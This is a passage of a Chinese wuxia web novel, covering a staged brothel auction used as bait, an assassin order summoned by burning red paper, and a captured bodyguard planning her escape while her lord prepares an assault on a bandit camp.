彗星城烟花柳巷的圈子里,最近出了大新鲜事。
一位弹得一手好琵琶的美人儿,被卖给彗星城最大的青楼为娼。
那美人儿姿容甚美,弹琴唱曲嗲音勾魂。
更令一众色客神魂颠倒的是,那美人儿竟然还是清白处子身。
按行内规矩,青楼明码标价,开出二两银子为底价,定于七月初一公开拍售那美人儿的初夜。
此消息一出,一众色客都生了兴趣,纷纷掷钱预定当日的观礼席位。
二两银不少,可在青楼这种销金窟,二两只是门槛价,只能得到一个看不清台上美人面的偏僻位置。
一旦客人们看中待拍初夜的美娘子,豪掷千金都是有的。
彗星城青楼行当里,当今花魁娘子的初夜曾经被竞拍了一千一百两。
那年的花魁十九岁,拍下她的是个六十岁的老头,孙儿和花魁娘子一般大。
而这次,据说已以三百两预定最佳观礼席位的,不是糟老头子,也不是大肚便便的暴发户,而是一位神秘贵公子。
落魄青楼的琵琶美娇娘。
低调有钱的神秘俏儿郎。
实在太有唱戏本的情调。
不到三天,整个彗星城的烟花圈子都传遍了这消息。
到了七月初一当夜,青楼里里外外已是人山人海,差点将楼门都挤破。
乌泱泱挤满人的大厅里,最中央是十几个彪形大汉,正围护着一弯流水潺潺的池塘。
满池盛满洁白莲花,含苞欲放的嫩花朵羞答答藏在其中。
池水最中央,白玉高台上坐着一衣裙薄如蝉翼的美人儿,正抱着琵琶轻弹吟唱。
美人儿低头吟唱,露出粉嫩纤细的后颈;
偏头浅笑,可见白皙分明的锁骨。
衣裙极薄,可隐约瞧见美人儿内里的藕粉刺绣肚兜,裹着柔软香嫩的身子。
美人儿没有穿鞋,衣裙下摆浅浅浸在水中,半掩着一双洁白无瑕的玉足。
琵琶婉转,歌声软糯还带着一丝幽怨,直叫男人们心痒难耐。
一众色客围着美人儿评头论足,高声开着下流玩笑,全部抛却礼义廉耻,撕开平日体面。
诚然,爱来这种地方的男人,不可能是来温书习字的。
知罗这辈子都没有踏进过青楼,没有在这么多男人面前衣衫薄透地卖唱过。
更不要说还赤着脚。
在这礼教世道,只有青楼女子不屑于暴露双脚。
良家女子绝不会在外男面前光着脚,那无异于脱光了给人看。
知罗强忍着眼泪弹唱,时不时看向二楼观礼最佳的那排厢房。
霍乾念说,他会在那其中,但知罗必须做好“饵”。
到底要做到什么地步?知罗不知道,她心里一阵阵发慌,宛如一只置身狼群的小小羔羊。
终于,琵琶声停止,两声清脆的击盏声过后,拍售正式开始。
一位风韵犹存的管事娘子走向池塘边,开始以五十两起拍知罗的初夜。
“五十五两!”
“六十两!”
“七十两!”
大厅里的色客们高声叫价。
二楼位置最佳、也最贵的一排厢房里,时不时传来仆从的叫价声:
“一百二十两。”
“二百两。”
“三百两。”
价格很快被哄抬到八百两,大厅里的色客们不免激动起哄,满厅都是嘈杂喧闹。
知罗感觉脑袋被吵得嗡嗡直响,满眼都是陌生男人泛着油光、五官狰狞的脸。
她开始感到窒息。
“一千两。”二楼传来这样一个傲慢的声音。
一个年轻男人走出右间厢房,半伏在栏杆上,笑看着底下池子,将一杯酒扔了下去。
酒水泼洒半空,酒杯“咣”一声砸在琵琶上,吓了知罗一跳。
第188章 青楼惊魂夜
知罗抬头望去,是一个陌生的瘦男人,并不是霍乾念。
一千两银子,已经是接近当年花魁拍售初夜的价钱。
厅内众人一阵惊叹,齐齐往二楼看去。
“神秘贵公子果然是酒行的刘公子!他可真是喜欢‘雏鸟’啊!”
“彗星城首富啊!刘公子看上的人,只怕咱抢不上了,只能排队吃剩的喽——”
“刘家酒行已经从彗星城开到周边七八个城,财大气粗,一千两银子算啥!”
众人议论纷纷,没人敢再继续叫价。
就在管事娘子即将敲定“一千两白银”的价格时,二楼最中央的厢房里传来一个沉稳有力的声音:
“一千二百两——”
刘公子伏在栏杆上转身,望向中央紧闭的房门,鄙夷而笑,“和我比银子?”
话音落下,中央厢房内又飘来幽幽两个字:
“黄金。”
一千二百两黄金。
史无前例的巨款之数。
整个大厅一片惊呼,咋舌不已,全都朝二楼望去。
“好家伙!谁出手这么阔绰?!”
“我特娘做梦都不敢想有这么多钱!豪掷千金只为个雏鸟?”
“这琵琶小美人也不过如此?咋值这价格?”
“刘公子还没真正掌家呢吧,能拿出比这还多的钱吗?”
中央厢房仍旧大门紧闭,只有那“彗星城首富”刘公子一脸吃瘪,愤愤地甩袖离去。
在众人惊羡的叫好声中,知罗抱着琵琶,由管事娘子领着,十几个彪形大汉护着,往二楼最中央的厢房走去。
知罗从无数男人们垂涎的目光中穿过,从那一根根长长伸向她、如群蛆扭动的胳膊丛中穿过。
她的腿上、脚上、腰上,到处都被人摸了好几把。
短短一层楼,知罗走得心惊胆战,浑身发抖。
最终,人们看着二楼中央厢房的门缓缓打开,知罗走进去,关上房门。
伴着啧啧艳羡,想象着一门之隔的下流春光,厅门众人一边交谈调笑,一边纷纷投入酒色,注意力慢慢从二楼移开。
可这时,一声女子凄厉的尖叫声突然响起,正是从二楼中央的厢房传出,又再度吸引了厅内所有人的注意。
众人纷纷看去,一时间竟安静下来,面面相觑,问别人是不是也听到那尖叫声,还以为是幻觉。
“啊——救命——”
又是一声凄惨哭喊,伴随着桌椅轰隆倒塌的巨响,清清楚楚地在整个厅内惊现,吓得众人全都呆住:
“好像是那个琵琶美人儿的声音……”
“不是……不该是这动静吧……”
青楼的打手们闻声纷纷向二楼冲过去,想打开那中央厢房瞧瞧,却又怕惊扰那豪掷千金的贵客。
就在打手们犹豫之际,厢房的门“吱呀”一声,缓缓打开。
在所有人屏息凝声的好奇注目下,只见一道红绫高悬于房梁。
知罗披头散发,浑身是血,脖子正吊在那红绫上,双脚还在悠悠晃动。
寂静了一瞬,厅内爆发出骇人的尖叫声。
众人鬼哭狼嚎着逃窜躲藏,却见一个高大的血红色身影拨开知罗的“尸体”,提着一壶酒,跌跌撞撞走出厢房,对着下面大厅嘈杂奔逃的众人喝道:
“妈的!安静点!老子杀人要十万金!你们若再吵!不要钱也宰了你们!!”
众人哪里敢应声,一眨眼的功夫,就跑了个干干净净。
大厅里只剩四处倾倒的桌椅和酒菜,一片狼藉。
那穿着血红色衣裳的身影靠在栏边,仰头喝尽壶中酒,一把将酒壶扔下楼。
酒壶爆碎,却没有一点酒味。
那身影背靠着栏杆摇摇晃晃,眯着眼睛,看样子像是醉狠了,但从眼睛下方却可以看出两点犀利星火,正望着厢房里“吊死”的知罗。
听到四周没有一点声音了,房梁上的知罗小声问:
“霍公子……我可以下来了吗?腰上这根细绳勒得我好痛……”
霍乾念仍然仰头靠着栏杆,“不急。再多挂一会儿。”
如霍乾念预料的一般,在青楼这种鱼龙混杂消息灵通的地方,出了这等惊骇事,不消一刻钟,整个彗星城都已传遍。
不到一个时辰,无义血卫的身影便出现在青楼大厅。
来的不是别人,正是先前在码头上遇见过的血卫,那个爱报人家户籍本的家伙。
只不过这一次,那血卫没有穿寻常青衣,而是穿着杀人办差时的血红色武服。
那血卫打量厅里的乱样,飞身跳上二楼,对霍乾念笑道:
“原来是霍少主。看样子霍少主是有差事找我们呀,那焚烧红纸即可,何必闹出这么大动静?我们掌门还以为无义血卫出了个不着调的神经病,叫我来肃清呢!”
对于对方话里的讽刺调笑,霍乾念并不在意。
他脱下身上大红色的外袍,露出原本的衣衫。一旁的知罗也已穿戴整齐,好端端地坐在一旁。
霍乾念掸掸衣袍,眉眼冷峻地看过去:
“无义血卫杀人的门槛起价是十万金,那找人多少钱?”
那血卫眼珠子一转,挑了挑眼角刀疤,立刻作了个“请”的手势,笑着说:
“请‘财神爷’换个地方坐坐,咱细聊?”
第189章 山寂
上联:“千两万两,有戏,黄土二两。”
下联:“无情无义,没钱,别来放屁。”
横批:“大道无逆”。
据说,这是写在无义殿上的一副题字。
肆意狂草,不伦不类,是无义血卫的开创者灵墟真君所题。
那灵墟真君一手创下无义血卫,自己却销声匿迹于灵山神野,据说是修道成仙去了。
这一支充满宗教气息与色彩的杀手组织,代代传承,至今已是第十一代。
没人知道无义血卫的老巢在哪里,一共有多少人,使的是何门何派的功夫。
也不知道每个血卫的身家来历与真实姓名,一切都十分神秘。
只知道若对月焚烧红纸,香烛烟气可召唤来一只遍体通红的信鸽。
信鸽看一眼召唤人身旁的金子,便振翅而飞,隐匿于夜色,将雇主和刺杀目标的姓名带回无义殿。
最多十日,血色红衣如鬼魅而至。
自此,世间少了一个人,阴间多了一个魂。
无义殿内又添金山一座,血酒一杯歌一遍。
从前,无义血卫只接杀人的单子。
不知是不是这两年物价太高,金子不够使的缘故,现在也会接护卫的活儿。
对血卫来说,杀目标简单,护卫并保证目标活着反倒更难,因此价钱也更高。
霍乾念以五十五万两黄金的天价说定,令无义血卫派出五名血卫寻救云琛。
很快,云琛的消息传来,结果却让人目瞪口呆。
绑架走云琛的人,不是霍乾念的旧仇,也不是什么阻挠霍乾念借兵大计的奸细,竟然是一窝常年盘踞在彗星城郊外山头上的土匪。
这下,就连无义血卫都有点替霍乾念肉疼,五十五万两黄金砸出去,对方不过是一窝毛贼,怎用得上无义血卫出手。
霍乾念倒不在意,只要云琛能好端端地回来,黄金不过云琛靴底土。
对五个血卫来说,这差事可太容易了。一窝土匪而已,他们闭着眼睛都能杀进杀出八百个来回。
那眼带刀疤的血卫叫霍乾念不必同去,以免与五个血卫配合不熟,反倒有所阻碍,只在城里踏实等着,最多两个时辰,云琛一定安然无恙地回来。
霍乾念只得在城中寻了间偏僻小院等待,可左等右等,整整一天过去,云琛没有出现,无义血卫也没有回来。
就在霍乾念坐立不安,准备提着隐月剑独自杀进土匪窝的时候,那名叫山寂的血卫来了。
山寂出现在院子里,抱着胳膊,用一种审视又敌对的眼神不停打量霍乾念。
霍乾念虽然不明白山寂为什么是这副态度,但他心里只记挂着云琛,没空多管:
“你们那五个血卫呢?夸下海口说不过一窝土匪,最多两个时辰就能救出云琛,现在已经十二个时辰了!”
见这个一向运筹帷幄、冷静沉稳的霍帮少主,此刻脸上已是掩饰不住的焦躁和忧虑,山寂脸色稍霁,但目光之中仍是浓浓的厉色。 山寂冷冷道:
“这单无义血卫不做了,定金会退给你。”
霍乾念一愣,强忍住烦躁,“怎么,无义血卫无情无义,但最讲信,如今却不讲了?!为什么不接??”
明明说只要价钱到位,皇帝也杀得,为什么却接不了救云琛这单?
“没那本事,接不了。”山寂撂下一句话,转头就走。
走出去几步,山寂又扭头看回去,见霍乾念正动作粗鲁地拽来纸笔,狂风扫落叶似的在信纸上涂涂写写,写了一封又一封,丝毫没有要停下的意思,满身已是毫不掩饰的焦灼气息。
山寂眯起眼睛,“怎么,要从楠国找帮手?但你低调来昭国,不就是为了避人耳目,行秘密之事吗?你这样一封又一封信到楠国,全天下都会知道你霍乾念在昭国。你要办的事情不办了?”
霍乾念头也不抬,继续快速写信,“差事而已,今日办不了,明日也能办。眼下办不了,十年后也可办——”
霍乾念停住笔锋,黯然忧重浮现在脸上。他快速收起所有信,大步往邮亭方向走,接着道:
“但人命等不了——云琛等不了。”
不敢想象一群土匪会将云琛怎么样,是拳打脚踢一顿欺负,还是转手将云琛随便发卖?
万一土匪发现云琛的女儿身,一群成日里见不到女人、更没有任何礼义廉耻的男人会怎么样……
霍乾念根本不敢继续往下想。
他匆匆经过山寂身边,满心满脑都在盘算计划,该怎样将霍帮三千护卫送进昭国,从哪里借些可以镇压土匪的正规军?
如果南璃君怪罪,是该请罪认罚,还是干脆撂挑子不干了,从今往后云琛便再也不用面对危险……
他心里急乱,脑子发胀得快要炸开,未曾防备被山寂一把拽住胳膊,拦住去路。
“你做什么?”霍乾念惊讶,这次离得很近,他更加清楚地看见山寂的模样。
身量高挑,皮肤白皙,山寂的面容足以称英俊,但浑身都写满“桀骜”和“孤僻”。
看起来像是冰层之下暗藏着一颗随时会突然爆开的火弹,完全一副与人交恶的样子,令人远观而不敢亲近。
山寂的脸色已缓和两分,但语气仍然不善,甚至带着几分命令意味:
“你坐下,冷静一刻再说。”
除了霍老爷子,霍乾念这辈子都没体会过被“长辈”命令的感觉。
见霍乾念已有着急的快要发怒的样子,山寂犹豫片刻,快速将手指竖在唇前,做了个“噤声”的手势,而后动作细微地指了指里屋方向——
知罗正在里面。
霍乾念瞬间睁大眼睛,神思快速交汇,立马明白所有。
山寂盯着霍乾念的脸,清晰看见他面色大动如风起云涌,又迅速归于平淡,便知霍乾念聪慧绝顶,已猜得七七八八。
山寂眼中不禁露出两分赞赏颜色,但仍板着脸:
“你好自为之,以后莫再愚蠢大意。有些人……一旦丢了,是找不回来的……”
最后这一句,山寂不知是说给霍乾念,还是说给自己听。
第190章 对月焚烟
彗星城西有两座山,一座大星山,一座小星山。
山上分别盘踞着两伙土匪势力,占据着山中一夫当关万夫莫开的险要地。
其中,大星山势力更强,人数更多,武器装备更齐全,为首的是个大胡子首领。
土匪山寨建在一处三面环水的绝地,到处都有把守放哨,戒备十分严密。
此刻,四个小土匪正凑在空地上吃火锅,一边吃,一边不时望向不远处的水中小岛——
说是岛,不过是浅水湾上巴掌大的一小块空地,上面放着一个关野兽用的大铁笼,一个黑黢黢的人影安静坐在里面。
空地四周,几十条鼍龙浮在水面上,神情畏惧地望着笼子。
这边火锅煮开,翻滚冒出热气,勾回众人的注意力。
那后脑勺血肿未消、还裹着绷带的少年夹起一大筷子肉,吃了两口,烫得直吸气,嘴里含糊不清道:
“要不,俺给‘云老虎’送点吃的过去?他应该折腾累了,不会再折腾了吧?”
另一个土匪瞪大眼睛,“我看你是后脑勺被蟹钳扎傻了,你忘了你那唯二的两张传家铁网被谁弄坏的?现在只剩一张了,还敢折腾?这‘云老虎’可是比真老虎还难抓啊!”
又一个土匪接话道:
“是啊!这家伙一共来了六天,那家伙,折腾得整个寨子鸡飞狗跳!第一天给他关在地窖里,他拿着一片碗碎片,半个晚上而已,差点把地窖挖通到老大卧房去!”
“第二天,两个兄弟上前拿脚铐锁他,还没近身就被揍得哭爹喊娘,最后十个人一起才给他拿住!但凡他手里有把刀!十个人都得去阎王殿报到!”
“他还会拿鸡骨头开脚铐!你说可不可怕!可不可怕?!用的是鸡爪子上那根细细的小骨头!这家伙,一打开脚铐,直接凌空飞舞铁索和锁头,比那蟹钳恐怖一百倍!一个时辰打趴下八十八个人!!最后上的弓箭手才制服的!弓箭手!!”
“就是就是!我当时就在现场,人都吓傻了!就没见过这么能打还不要命的!他身上就跟装了铁桶永动火战车似的!别看他平时安安静静坐着,一动手那是招招下死手啊!!”
“谁说不是呢?!关地窖他就挖坑!关水牢他就潜水!关石洞他就放火!真能折腾!只能先用迷烟放倒,才关到岛笼里!”
“你们知道有多夸张,那家伙被迷烟放倒之后,周围一大圈人看着,愣是没有一个人敢上前去动他!最后还是老大亲自将他背到笼子里的!”
“谁给他起的‘云老虎’这个外号?太他妈贴切了!”
少年摸摸还发疼的后脑勺,心有余悸地看向水岛铁笼,立刻脸色一变,扔下筷子就冲过去,大喊:
“俺娘咧!他在揍鼍龙的头!拔鼍龙的牙!”
“我操!快拦住他!!”
“他是不是要拔鼍龙牙当武器!要了命了!!”
又是一阵折腾,又上了七八个人才摁住铁笼子的云琛,将那条被拔了好几颗牙、都快疼哭了鼍龙解救出来。
少年累得扶着笼子气喘吁吁,对云琛竖起大拇指,佩服道:
“哥,俺真服你,真的,以后要是有机会,俺想跟着你混!嘿嘿!”
云琛没有说话,目光落定在少年扶着铁笼的手上。
那少年注意到云琛的眼神,顿时后背一毛,立刻松手后退,却还是慢了一步,被云琛一把扭住,整个人狠狠撞在笼子上,吓得连连尖叫。
“啊啊啊——救命——俺还要拿刀!不能没有胳膊啊!救命——”
旁边的人闻声冲上来,又费了好一番功夫,才将少年解救出来。 少年已吓得魂不附体,脸上、身上、胳膊上,到处都是被铁笼撞出的淤青,一边恐惧地后退,一边嘴里不停大喊着“云老虎好可怕!”“云老虎好吓人!”
云琛却不理会,只是重新靠坐回笼边,抱着胳膊,开始闭眼小憩。
一直到少年和几个小土匪走远,云琛才悄悄摊开掌心,将从那少年身上偷来的火石拿出来,又掏出怀里画着符咒的大红色香烛纸。
她轻轻打着火石,点燃红纸,蜷起身子护住火光,一缕红烟袅袅升起。
望着天空饱满明亮的圆月,云琛深吸一口气,大声道:
“福生无量,位列仙班,长生不老,永葆青春!”
听到动静的少年望过来,恰见红烟消散,云琛又望着月亮重复了一遍:
“福生无量,位列仙班,长生不老,永葆青春”!
少年疑惑地挠挠头,自言自语道:
“云老虎这是在干啥?不会憋疯了吧?可别啊,那太可惜了……”
不多时,一只血红的信鸽扑闪着翅膀,从少年身边飞过,落定在水岛笼中。
血鸽打量云琛,又朝两边寻找,并没有看见金子,不禁歪头看云琛,似乎在问“几个意思?耍鸽子玩呢?”
被绑架以来,云琛已使出浑身解数,实在逃不出。
得亏她被绑架的时候,身上还装着码头上血卫给的红纸,只能用这法子召唤帮手来了。
她双手合十,小声对血鸽道:
“鸽子大人,求你找几个血卫来救我!虽然我现在没有银子,使钱的霍帮腰牌也被偷走了,但我家少主大方得很,肯定舍得花钱救我!你先找血卫去,咱们出去以后结账,行不?”
血鸽好像还真听懂了,冲云琛点点头,扑扇着翅膀飞远,很快消失在夜色之中。
她望着血鸽消失在夜色中的小小身影,心中升起一点希望。
但她从来不是将性命寄托在别人身上的人。
她再次靠着笼边坐好,将刚从鼍龙嘴里拔下来的牙挨个清洗、排列,拼凑成一把单指虎的形状。
她将手从笼子里伸出去,摸索着抓起一把地上的胶泥,糊住牙齿之间的缝隙。
然后,她将外衣脱下,撕成条,用打火石点燃端头,缓缓燃烧起来。
对着火苗,她开始耐心地烘烤糊满胶泥的指虎。
等所有布条都烧完的时候,指虎也烘烤得差不多了。
牙齿的骨质与胶泥牢牢融合,虽有些脆,但足够击杀一场。
云琛将指虎戴上手指,紧攥成拳,仿佛一只猛虎利爪,对着空气挥动了两下,尝试手感。
对面岸上,全程看着一切的少年,惊恐地瞪大眼睛,摸了摸后脑勺的血肿,忍不住倒抽一口凉气。
他不敢想象,要是后脑勺挨这么一下,会是什么样子。
一个小蟹钳就差点送他去见太奶,如果是这鼍龙齿指虎的话……
少年禁不住打了个寒战,不敢继续往下想,却见笼子里的云琛又坐了下来,开始对着栏杆磨指虎的牙齿尖尖。 少年哆哆嗦嗦背过身子,脸色发白,说话都带了哭腔:
“俺娘咧……太凶了……吓得俺不敢看了,来个人管管他吧,我受不了了……”
第191章 神宵殿
另一边,山寂暗示完霍乾念,离开彗星城的小院后,径直回到无义血卫。
他站在秘境岭脚下,仰头看向黑木沉沉,如深海一般的茂密森林。
九座朱红色的殿宇沿着山脚蜿蜒而上,直达峰顶,仿佛一条剥了皮的狰狞巨蟒。
秘境岭常年萦绕着浓浓的灰色瘴气,遍布毒蛇虫蚁,熊虎猛兽,成了九座殿宇的天然隔绝屏障。
除了无义血卫和血鸽们,没人能找到这里。
山寂。
这是无义血卫第十代掌门赐给他的名字,意思是与这秘境岭一样冷寂,一样暗藏着危险杀机,骨子里永远不屈服、不从属于任何人。
不得不说,掌门看人很准。
山寂顺着九座殿宇而上,每座殿宇里都住着一大群血卫们。
越往上走,山势越高寒,殿宇愈加璀璨广阔,住在其中的血卫人数也越来越少。
每上升一层,都代表着更为尊贵的血卫阶级,意味着更令人生畏的武力。
这是无义血卫分明又充满血腥斗争的“晋升天梯”。
从太霄殿到紫霄殿、丹霄殿……人数从几百个减少到寥寥十几。
到了第八层青霄殿的时候,已只有八个人在殿中。
其中一个身影拦住山寂的脚步,正是与霍乾念商定好、五十五万两黄金寻救云琛的那血卫。
来人表情不善,眼角刀疤突突直跳,语气挑衅:
“我带着人去土匪窝跑了个来回,一分金子没落着不说,还挨了掌门一顿训斥。然后你就立马跳出来抓尖卖乖,去做轻松体面的收尾?山寂,你是不是太不要脸了点?”
山寂盯着对方的眼睛,一动不动,一眨不眨,仿佛一只锁定猎物的老鹰,似乎已用刀锋般的眼神将对方生吞活剥,走完整个杀人的过程。
感受到山寂身上散发的凶狠杀意,另外七个血卫都过来相劝:
“消消气,山寂不是争抢的人,是掌门下令去善后的,山寂总不能不去。”
“就是就是。”
那眼带刀疤的血卫冷哼一声,面色愈发嫉恨,但没有再说话。
山寂微昂下巴,从眼睛下方露出目空一切、又充满狂傲蔑视的眼神。
他一口唾沫啐在那眼带刀疤的血卫脸上,冷冷道:
“你什么时候打得过我,什么时候再来质问我。”
说罢,山寂头也不回地朝第九层神霄殿走去,那里住着无义血卫最顶尖的三个高手。
山寂便是其中之一。
那眼带刀疤的血卫气得脖子涨红,忍不住低声咒骂。
忽然,一只血鸽翩翩而至,落定在殿前的醒钟上,引起了众人的注意。
“有人在召唤血卫。” “有生意来喽。”
“快去叫鸽子卫来。”
说话间,饲养并懂鸽语的鸽子卫已赶来。
鸽子卫将血鸽捧在手心,嘴里发出“咕咕”的叫声,血鸽也不停回应,一人一鸽聊了好一阵才作罢。
随着血鸽不停“咕咕”叫,鸽子卫的神情也越来越疑虑,不停地偷偷打量正往神霄殿走的山寂。
一个血卫好奇:“血鸽很少说这么久,说的什么?谁找我们办差?何事?”
鸽子卫犹豫着不敢开口,血鸽却扑扇着小翅膀,飞到山寂肩膀上,歪头看着山寂。
“到底血鸽说什么了?快说啊!”其他血卫纷纷催促。
山寂也回头看向那鸽子卫。
鸽子卫心里打鼓,斟酌着措辞,道:
“血鸽说,大星山有人求救脱困,那人……那人……”
鸽子卫吞吞吐吐,急得一旁的血卫们差点发火。
没有办法,鸽子卫只能道:
“血鸽说,求救那人为……山寂。”
血卫们满脸问号:
“啊?山寂?山寂不好端端地在这儿吗?”
“你这鸽子是不是老了,老眼昏花了?”
“大星山不是关着霍乾念心心念念要救的什么云琛吗?对了,当时在码头上,确实给了他一张红纸。”
“这……和霍乾念的买卖已经黄了,掌门明令禁止我们掺和此事的。”
血卫们议论纷纷,那被山寂啐了一口的血卫却不参与猜测,他习惯性摸摸眼角的疤,幸灾乐祸盯着山寂的脸,仿佛窥探到山寂的命脉:
“山寂,血鸽靠血肉气味识人,不可能错。它说大星山里关着你,你不去看——”
那血卫话还没说完,就见眼前黑影一闪,山寂几乎是瞬间移动到他面前,手呈鹰爪状扣在他喉咙上,五个指甲已全部扎进他皮肉。
只要稍稍用力,那血卫必定一命呜呼。
但那血卫毫不害怕,只是因为疼痛微微皱眉,嘶哑着喉咙,挑衅而笑:
“无义血卫严禁杀自己人,违命者杀无赦。你不敢杀我。”
山寂无所谓的“哦?”了一声,随即手中微微用力,“嘎嘣”一声,捏碎了那血卫的喉骨。
那血卫表情痛苦地伏在地上,一口血喷出来,再也说不出一句话。
不,只怕他未来很长很长一段时间,都无法再开口讲话了。
他只能用怨恨的眼神瞪着山寂。
周围其他血卫们没人敢劝,也没人敢去扶地上的他。 在无义血卫里,除了掌门,再无任何职位高低。
血卫们之间不分长幼,平起平坐。
没有明文规定上下级,但九座代表不同武力阶级的殿宇,足以让每个人心里形成绝对分明的尊卑。
眼前是住在神霄殿的山寂,代表着他的武功仅次于掌门。
也代表着他尊于神霄殿之下,另外八座殿宇的所有人。
再加上山寂一向狂傲的作风,不好惹的性子,没人想触这霉头,僵在原地走也不是,不走也不是,颇为尴尬。
但鸽子卫不敢停留。有血鸽来报,他必须立即去禀明。
他带着血鸽,极力绕开山寂,快步往最高的第十层无义殿走。
山寂立刻跟上,“我与你同去。”
鸽子卫不敢拒绝,只能沉默着同山寂一起走。
离开青霄殿,走过神霄殿,踏上去无义殿的路,如鸽子卫所料,到了没人的地方,山寂开口道:
“我知道你不能说谎,而且刚才许多人都听见你说话了。那改一个字就行,将‘为’改成‘唯’。”
鸽子卫反应了一会儿,才明白山寂说的是哪句。
求救那人为山寂。
求救那人唯山寂。
一字之差,天壤之别。
鸽子卫心里犹豫,山寂却揽住他的肩膀,鹰爪扣在他肩头,似笑非笑,眼神充满威胁:
“无义血卫禁止自相残杀,可你知道的,人生在世,总有死亡意外,对吗?”
那鸽子卫听罢脸色一白,只能听命地点头。
第192章 十一年
既已得知大星山和小星山里的真实情况,那么,无义血卫绝不敢再插手此事。
但云琛在大星山点燃了红纸召唤,按无义血卫的规矩,就是地府也必须走一遭,去回应召唤人,才算讲信,不砸招牌。
鸽子卫将血鸽所言一一回禀,叫掌门颇为诧异:
“为什么‘唯’要山寂去?”
山寂靠坐在一旁嗑瓜子,一副快要上天的狂拽样,“不知道。估计是码头上见过,相中我了。”
掌门笑笑,“也对,但凡长眼睛的,都会相中你。”
鸽子卫一听这暧昧之言,赶紧识趣地退下。
山寂罕见地没有甩脸子走人,仍旧坐在殿里。
掌门面色一喜,含笑上前,试探地坐进山寂怀里。
感觉到山寂没有禁止的意思,她不禁心中惊喜,用那张风韵犹存、涂脂抹粉却已生出许多皱纹的脸,慢慢靠近他的脸,放肆地将手摸向他胸口。
江湖上没人知道,无义血卫的当今掌门,其实是个女人。
这门中所有有姿色的男弟子,几乎都已被她恩威并施地睡过。
唯独山寂,太桀骜难驯,武功狠绝得像个疯子,太不敢招惹。
掌门试探“香泽”多年,每次都碰一鼻子灰。
可偏偏得不到的永远在骚动,山寂成了掌门多年来得不到的心头好。
此刻破天荒的,山寂第一次没有翻脸走人,甚至没有拒绝掌门摸上胸膛的手。
掌门有些激动地半伏在山寂胸口,笑容颇为讨好:
“你来无义血卫十一年了,不寂寞吗……”
山寂淡淡抬了下眼皮,“杀人解闷,不寂寞。”
说罢,他站起身,掸掸衣裳,大步离去,只留掌门意犹未尽地捻着指尖,回味着方才那结实的触感。
“我去大星山瞧瞧。”山寂头也不回地说。
到了大星山外,他停留些许,观察片刻。
只见内外一切井然有序,排兵布阵俱全,里里外外已全副戒备,一派大战在即的样子。
山中五千人,都在等着一个必然要来的人——大名鼎鼎的霍乾念。
除了霍乾念,其他再没什么需要防备的。
因此,山寂很容易潜入寨子,一眼就看到岛笼里的云琛。
大概是山寂来的有些迟,云琛已经靠着笼子睡着了。
她头发蓬乱,浑身脏兮兮的,只穿着一件单薄中衣。
她的脸黢黑得像在煤窑里干了三年黑劳工似的,瘦小又可怜,手上有很多小伤口,腿边是一小滩红纸燃烧过后的灰烬。
看着这样的她,山寂心里一紧,一空,接着开始莫名发酸。 他仔细从记忆中去寻找,却完全和眼前打扮成年轻男人模样的云琛对不上号。
只有码头上那双眼睛丝毫未变。
整整十一年未见,这世间沧海桑田。
她的眼睛却不惹尘埃,像是不会随着时间一同长大,仍旧同儿时一样清澈见底。
十一年,他从籍籍无名,一路摸爬滚打,直到成为无义血卫中的一人之下,万人之上。
都说他学武功太晚,可架不住天赋异禀和那股不要命的疯魔狠劲。
只要他想,无义血卫可以由他说了算。
他最讨厌争抢,也从不在乎做什么无义血卫的掌门。
可如今,看着云琛熟睡的脸,他第一次有了不一样的念头。
十一年,她从一个小小闺阁女儿,成为楠国首富权贵霍乾念身边的第一亲卫。
赫赫有名的玄都护卫云琛。
传说能在水下闭气十二个时辰,能徒手搏黑熊杀猛虎,能一剑封喉、单杀碧霄殿血卫的高手。
这几年,他总是能在江湖市井听到“云琛”两个字,听说许多夸张又生动的传闻。
原以为只是和云琛同名同姓的厉害男人而已。
可他就是有一种离她越来越近,就快要相见的预感。
果不其然,彗星城码头,当那个糟心的霍乾念牵着她的手,笑得一脸欠扁的春光时。
他才震惊地发现,没有什么同名同姓,竟然真的是她。
摇摇头,从脑子里赶走霍乾念那个不是东西的东西,山寂仔细打量云琛。
越看,他心里越生出些不同的滋味。
他用最轻的声音,叫出那已十一年未念过的名字:
“琛儿——别怕,你会好好的。”
说罢,山寂退出小岛,身影消失在浓浓夜色。
……
……
另一边,彗星城中,只用了半夜时间,霍乾念就已制定好详细周密的计划。
要想找一伙土匪,最简单的就是通过另一伙土匪。
既然无义血卫探寻到,云琛是被大星山里的土匪绑架走的,接着便不再出面,就连定金都退给了霍乾念。
那么霍乾念便去小星山,将黄金摊在土匪地盘,指名道姓要找土匪头子。
大星山与小星山长期争夺地盘,小星山一直想吞并大星山。
霍乾念说,他可以帮这个忙。 小星山的土匪头子摸着两撇小胡子,“你的意思是给我们小星山当军师,去攻打大星山?”
霍乾念称是。
小胡子又道:“可我们小星山只有五百人,大星山有五千人,是我们人数十倍之多,并且武器装备都比我们厉害。”
霍乾念道:“兵者诡道,以迂为直,以患为利。”
小胡子似懂非懂,“兵法吗?我听说,大星山的也有一个厉害的军师,是个老头子。”
霍乾念淡淡道:“可以先派高手潜入大星山,将对方军师杀了。”
小胡子脸色微变,摸了摸胡子,尬笑两声,“那……倒是用不着,一个老头子而已。”
霍乾念并不理会这茬,只问:
“怎么样,五百人即刻动身,三日之内必踏平大星山。”
小胡子砸吧砸吧嘴,“这个……那个……我凭啥相信你呢?你得给我个足够的理由。”
霍乾念环顾四周一大群土匪,“你的兄弟们跟你关系如何?”
小胡子颇为骄傲,“自然好得如亲兄弟一般。”
霍乾念追问:“可托生死的程度?”
小胡子想都没想地回答:“必须的!”
“很好。”霍乾念点点头,随即拔剑飞身,眨眼便将剑刃横在了小胡子脖子上。
周围的土匪们惊叫起来,纷纷抽出武器,想要冲上去却又不敢轻举妄动。
霍乾念挟持着小胡子,满意道:
“不错,你的兄弟确实很好,舍不得你死——你这条命在我手中,不信,我现在就杀了你,这个理由够不够?”
“够够够!”
第193章 大星山之战
七月初七,乞巧节。
整个昭国到处穿红戴绿、张灯结彩,男男女女上街游览,忙着拜织女,求姻缘。
彗星城从太阳一落山便开始放烟火,绚烂巨彩当空炸开,照着年轻男女渴求爱情的脸庞。
与此同时,城外的大星山和小星山也如牛郎织女一般,纠缠得难舍难分。
霍乾念率小星山五百人趁夜突袭大星山土匪寨。
虽然大星山人马十倍于小星山,敌我力量相当悬殊,且大星山占据极其有利的三面环水险隘,但架不住霍乾念兵出奇招。
他先以上百油火桶阻塞敌方寨前唯一陆路,趁大星山的土匪忙着救火迎战之时,命八十人乘草船佯袭寨子后方。
几十艘船上全部立满草包盾牌,每艘船仅两人配合驾驶,其余全是稻草人充数。
